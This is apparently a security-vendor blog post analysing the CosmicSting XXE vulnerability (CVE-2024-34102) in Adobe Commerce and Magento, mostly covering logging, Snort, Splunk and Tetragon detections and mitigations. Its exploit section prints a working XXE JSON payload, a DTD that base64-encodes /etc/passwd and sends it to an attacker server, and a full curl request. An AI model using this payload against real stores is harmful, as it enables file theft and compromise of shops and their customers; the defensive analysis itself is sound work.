CosmicSting: A Critical XXE Vulnerability in Adobe Commerce and Magento (CVE-2024-34102)

This blog was co-authored by Splunkers Mark Siddle and Kenneth Bouchard as well as John Levy of Cisco Talos.

The e-commerce world was recently shaken by the discovery of a vulnerability in Adobe Commerce and Magento, two of the most widely used e-commerce platforms. Dubbed "CosmicSting" and designated as CVE-2024-34102, this vulnerability exposes millions of online stores to potential remote code execution and data exfiltration risks.

In this blog post, we will dissect the technical intricacies of the CosmicSting vulnerability, explore its potential impact on affected systems, and provide detection opportunities and mitigation strategies. Much like the recent CUPS vulnerability in Unix-like systems, this flaw highlights the ongoing challenges in maintaining security in complex, widely-deployed software systems.

Let's begin by examining the key points of this vulnerability and then dive deeper into its technical aspects, exploitation mechanics, and the steps defenders can take to protect their systems.

CosmicSting Vulnerability Overview

Quick Facts:

• Vulnerability: Unauthenticated XML External Entity (XXE) in Adobe Commerce and Magento
• CVE Identifier: CVE-2024-34102
• CVSS Score: 9.8 (Critical)
• Public Exposure: Affecting over 140,000 Magento instances worldwide
• Affected Versions: Adobe Commerce and Magento Open Source versions before 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, and 2.4.4-p9
• Impact: Allows attackers to read sensitive files, potentially leading to remote code execution
• Attack Vector: Unauthenticated REST API endpoints
• Affected Systems: Adobe Commerce and Magento Open Source installations
• Complexity: Low (easily exploitable through API calls)
• Status: Patches available, but widespread impact due to the popularity of Magento

Technical Details

The CosmicSting vulnerability stems from a series of flaws in Adobe Commerce and Magento's handling of XML data during the deserialization process. These vulnerabilities arise from improper input validation and unsafe handling of attacker-controlled data. The main issues are:

1. Insufficient validation of XML input in certain REST API endpoints
2. Unsafe handling of XML entities during deserialization
3. Ability to trigger XXE through nested objects in JSON payloads

Exploit Mechanics

The exploit leverages these vulnerabilities through the following steps:

1. Entry Point:

• The attacker sends a specially crafted JSON payload to vulnerable REST API endpoints, such as
  /rest/V1/guest-carts/{cartId}/estimate-shipping-methods

2. Nested Deserialization:

• The JSON payload contains nested objects that, when deserialized, result in the instantiation of a SimpleXMLElement object with attacker-controlled parameters.

3. XXE Triggering:

• The SimpleXMLElement object is created with the LIBXML_NOENT flag set, allowing external entity expansion.
• A malicious XML payload within the JSON data triggers the XXE vulnerability.

4. Data Exfiltration:

• The XXE payload reads sensitive files (e.g., /etc/passwd or app/etc/env.php) and exfiltrates the data to an attacker-controlled server.

5. Potential RCE:

• In some configurations, this vulnerability can be chained with other issues (like PHP filter chains) to achieve remote code execution.

Exploit Code Snippet

Here's a simplified version of how the exploit payload might be constructed:

{
  "address": {
    "totalsReader": {
      "collectorList": {
        "totalCollector": {
          "sourceData": {
            "data": "<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"http://:8888/dtd.xml\"> %sp; %param1; ]> &exfil;",
            "options": 16
          }
        }
      }
    }
  }
}

This JSON payload, when sent to a vulnerable endpoint, triggers the XXE vulnerability through nested deserialization.

^{Figure 1: Attack flow (larger image here) Splunk 2024}

The complexity of this attack lies in the chain of vulnerabilities it exploits and the potential for widespread impact due to the popularity of Adobe Commerce and Magento in e-commerce applications. The ability to silently read sensitive files and potentially execute remote code makes this a particularly dangerous vulnerability.

Practical Exploitation

To demonstrate the real-world impact of this vulnerability, we can use a proof-of-concept exploit or Nuclei template to test. Here's a simplified scenario:

1. The attacker sets up a malicious DTD file (dtd.xml) on their server:

<!ENTITY % data SYSTEM 
"php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 
'http://:8888/?%data;'>">

2. The attacker sends a crafted request to the vulnerable Magento instance:

curl -k -X POST \
https://magento.test/rest/all/V1/guest-carts/test/estimate-shipping-methods \
-H "Content-Type: application/json" \
-d '{
  "address": {
    "totalsReader": {
      "collectorList": {
        "totalCollector": {
          "sourceData": {
            "data": "<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"http://:8888/dtd.xml\"> %sp; %param1; ]> &exfil;",
            "options": 16
          }
        }
      }
    }
  }
}'

3. If successful, the attacker receives the base64-encoded contents of /etc/passwd on their server.

Defending Against and Mitigating the CosmicSting Vulnerability

Retrieving the Magento Logs

Web Server Logs

Before diving into Magento-specific logs, it's important to understand the web server logs, which are typically Apache or Nginx logs depending on your server configuration. Each configuration of Magento will be different. As defenders, we need to ensure we are capturing the appropriate logs needed to perform proper threat detection.

1. access.log
Typical Location: /var/log/nginx/access.log or /var/log/apache2/access.log
Purpose: This log file records all requests made to your Magento store.

2. error.log
Typical Location: /var/log/nginx/error.log or /var/log/apache2/error.log
Purpose: This log file contains information about errors encountered by the web server.

Depending upon organizational logging appetite, it may be worth expanding the logging from Nginx/Apache to provide more detailed logging. An example of extended key-value logging for Nginx may be found here.

Magento-Specific Logs

Magento maintains its own set of log files, which are typically located in the var/log directory of your Magento installation.

3. system.log Location: /var/log/system.log
Purpose: This is Magento's main log file, recording a wide range of system events and errors. It includes:

• PHP warnings and notices
• Magento core errors
• Third-party module errors
• Cron job execution information

Use cases:

• General troubleshooting of Magento issues
• Monitoring system health
• Identifying problematic modules or code

4. exception.log Location: /var/log/exception.log
Purpose: This log file specifically records uncaught exceptions in Magento. It provides detailed stack traces, which are invaluable for debugging. Entries typically include:

• Exception message
• File and line number where the exception occurred
• Stack trace

Use cases:

• Debugging critical errors
• Identifying the root cause of application crashes

5. debug.log Location: /var/log/debug.log
Purpose: This log is used for development and debugging purposes. It's not active by default in production environments. When enabled, it can include:

• Detailed information about Magento's internal processes
• SQL queries
• Cache operations

Use cases:

• In-depth debugging during development
• Performance optimization

Snort IDS/IPS Alerts

While application and web server logs provide crucial insights, network-level detection offers an additional defensive layer against CosmicSting exploitation attempts. Cisco Talos has developed specialized Snort signatures (SID 63856) that provide real-time protection against this vulnerability.

The Snort rule implements a two-factor detection strategy that analyzes:

1. The URI path prefix "/rest/V1/guest-carts/", targeting the vulnerable endpoint
2. XXE injection patterns within the "sourceData.data" JSON key

Leveraging Snort 3's enhanced capabilities, particularly the http_uri:path sub-buffer, along with PCRE (Perl Compatible Regular Expressions) pattern matching, this rule can effectively identify and block exploitation attempts regardless of the specific XXE payload variation used by attackers.

^{Figure 2: Diagram of Snort Signature Flow (enhanced here), Splunk 2024}

This dual-verification approach ensures high-fidelity detection while minimizing false positives. The signature's design allows it to catch both known and potential variant exploits, making it an effective component in a defense-in-depth strategy against CosmicSting attacks.

Security Content

Effective monitoring of Adobe Commerce and Magento activity is crucial for detecting potential exploitation attempts. Here are some Splunk queries to help identify suspicious activities. We’ll focus on using direct sourcetype queries along with Web and Network Traffic datamodel queries. Our focus is to be as holistic as possible in our detection capabilities.

1. Detecting suspicious POST requests to vulnerable endpoints:

This query focuses on POST requests to “/rest/V1/guest-carts/1/estimate-shipping-methods”. It identifies potential exploitation attempts of this XXE vulnerability. The endpoint's unauthenticated nature (indicated by "guest-carts") makes it an easy target for attackers. The use of wildcards in the URI allows for matching various API versions and cart IDs, ensuring comprehensive coverage. This vulnerability enables attackers to read sensitive files like 'app/etc/env.php' and potentially execute arbitrary code. Monitoring these specific requests is important for quickly detecting and responding to potential CosmicSting attacks.

source="app_logs.txt" host="magento" index="network" 
sourcetype="access_combined_wcookie"
uri="/rest/*/guest-carts/*/estimate-shipping-methods"
method=POST status=404
| rename clientip as src_ip useragent as user_agent method as http_method
| stats count min(_time) as firstTime max(_time) as lastTime by src_ip, 
uri, user_agent, status, http_method
| `drop_dm_object_name("Web")` | `security_content_ctime(firstTime)` | 
`security_content_ctime(lastTime)`

Observability with Tetragon

Tetragon, an eBPF-based observability agent developed by Isovalent (now part of Cisco), offers granular visibility into system events, including process and file access. By implementing a custom tracing policy, we can identify, log, and help prevent processes accessing sensitive files. Here's an example policy targeting the /etc/passwd file:

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "file-monitoring"
spec:
  kprobes:
  - call: "security_file_permission"
    syscall: false
    return: true
    args:
    - index: 0
      type: "file" # (struct file *) used for getting the path
    - index: 1
      type: "int" # 0x04 is MAY_READ, 0x02 is MAY_WRITE
    returnArg:
      index: 0
      type: "int"
    returnArgAction: "Post"
    selectors:
    - matchArgs:
      - index: 0
        operator: "Postfix"
        values:
        - "env.php"
      matchBinaries:
        - operator: "Prefix"
          values:
            - "/usr/local/sbin"
    - matchArgs:
      - index: 0
        operator: "NotPrefix"
        values:
         - "/var/www"
      matchBinaries:
        - operator: "Prefix"
          values:
          - "/usr/local/sbin"

This policy generates events when binaries in the "/usr/local/sbin" directory access files outside of the webroot directory as well as a more specific selector for env.php, providing an additional layer of detection for potential CosmicSting exploitation attempts. When an exploit is executed against a vulnerable Magento instance, Tetragon can generate an event showing the underlying process (e.g., "/usr/local/sbin/php-fpm") accessing sensitive files like "/etc/passwd".

To analyze Tetragon data in Splunk, you can use a query like this:

index="tetragon" sourcetype="tetragon:process" 
process_kprobe.process.cwd="/var/www/html"
| spath path="process_kprobe.process" output=process 
| spath input=process 
| rename binary AS process_name, cwd AS process_current_directory, 
"process_kprobe.args{}.file_arg.path" AS file_name, pid AS process_id
| table _time host process_current_directory process_id process_name 
file_name process_kprobe.policy_name

This query helps identify suspicious file access patterns that could indicate CosmicSting exploitation.

^{Figure 3: Example data in Splunk, Splunk 2024}

Detecting Client-Side Threats with Synthetic Transactions

The CosmicSting vulnerability can lead to more complex attack scenarios. For instance, attackers can exploit it to view the app/etc/env.php file, which contains secret key information. This access could allow them to gain write access to the Magento API, enabling the injection of malicious "CMS Blocks" into Magento pages.

One common attack vector is the injection of "eskimmer" JavaScript, which scrapes form data and exfiltrates it to a third party. Since this code executes on the client browser, traditional server-side detections may miss this activity.

To address this visibility gap, consider leveraging synthetic web transaction tools like Splunk Synthetic Monitoring or Cisco ThousandEyes. These tools generate HAR (HTTP Archive) files run on each monitored page, allowing you to detect:

1. New domains or resources not previously associated with your Magento installation
2. Unexpected script tags or inline JavaScript injections
3. Suspicious network calls that could indicate data exfiltration

By ingesting and analyzing HAR file data in Splunk, you can create alerts for new or unexpected resources loaded by your Magento pages. This approach can help catch malicious JavaScript injections early, whether they appear as new src attributes in script tags or as inline JavaScript sending scraped form data to third-party domains.

For example, an eskimmer has been injected into our fictional webpage “Online Boutique” to scrape user form data and exfiltrate that data to bad-domain[.]tq. Our web page is being monitored using synthetic transactions, and with the HAR data ingested in to Splunk, we could use a query like this:

`har_indexes` sourcetype="splunk:synthetics:har" 
| rex field=request.url "https?://(?[^\/]+)"
| search NOT fqdn IN ("onlineboutique.com", "other-good-domain.com")
| stats values(request.method) AS http_method earliest(_time) AS 
earliest_seen latest(_time) AS latest_seen by fqdn 
synthetics_detail.name
| where earliest_seen=latest_seen OR earliest_seen > 
relative_time(latest_seen, "-2h")
| convert ctime(earliest_seen) ctime(latest_seen)

This would identify any new domains our browser has connected to during a synthetic test run:

Given bad-domain[.]tq is not a domain we own, or in our list of known-used domains, and not a domain we’ve sent POST requests to previously, it should warrant further analysis.

Implementing these advanced detection strategies alongside traditional log analysis provides a multi-layered approach to identifying and mitigating potential CosmicSting exploits. This defense-in-depth strategy significantly enhances your ability to detect both the initial exploitation attempts and any subsequent malicious activities.

Mitigation Strategies

While patching is the most effective solution, there are several mitigation strategies organizations can employ to reduce their risk exposure to the CosmicSting vulnerability:

1. Apply the official patch:

• Update Adobe Commerce and Magento to the latest patched versions (at least 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, or 2.4.4-p9).

2. Implement Web Application Firewall (WAF) rules:

• Block requests containing suspicious XML patterns or known exploit signatures

3. Network segmentation:

• Restrict access to Magento admin panels and API endpoints from untrusted networks.

4. Regular security audits:

• Conduct frequent security scans and penetration tests to identify potential vulnerabilities.

5. Monitor system logs:

• Regularly review Magento and web server logs for suspicious activities.

6. Implement the principle of least privilege:

• Ensure that Magento processes and users have minimal necessary permissions.

Protect Both Businesses and Consumers by Enhancing E-Commerce Security

The CosmicSting vulnerability (CVE-2024-34102) in Adobe Commerce and Magento serves as a stark reminder of the ongoing security challenges in widely-deployed e-commerce platforms. As with other recent high-profile vulnerabilities, it highlights the need for constant vigilance, regular updates, and a multi-layered approach to security.

What stands out in this instance is the potential for widespread impact due to the popularity of Magento and the ease of exploitation. The ability to remotely read sensitive files and potentially execute arbitrary code makes this vulnerability particularly dangerous.

Organizations using Adobe Commerce or Magento should prioritize addressing this vulnerability by implementing the suggested mitigations, including patching, enhanced monitoring, and network-level protections. Remember that security is an ongoing process, and regularly reviewing and updating your security measures is crucial to address new threats and vulnerabilities as they emerge.

By staying informed, proactive, and collaborative, we can collectively improve the security posture of e-commerce platforms and protect both businesses and consumers from potential cyber threats.

Learn More

To learn more about the Splunk Threat Research Team, visit splunk.com/threat-research. Click here for additional information about Splunk Synthetic Monitoring.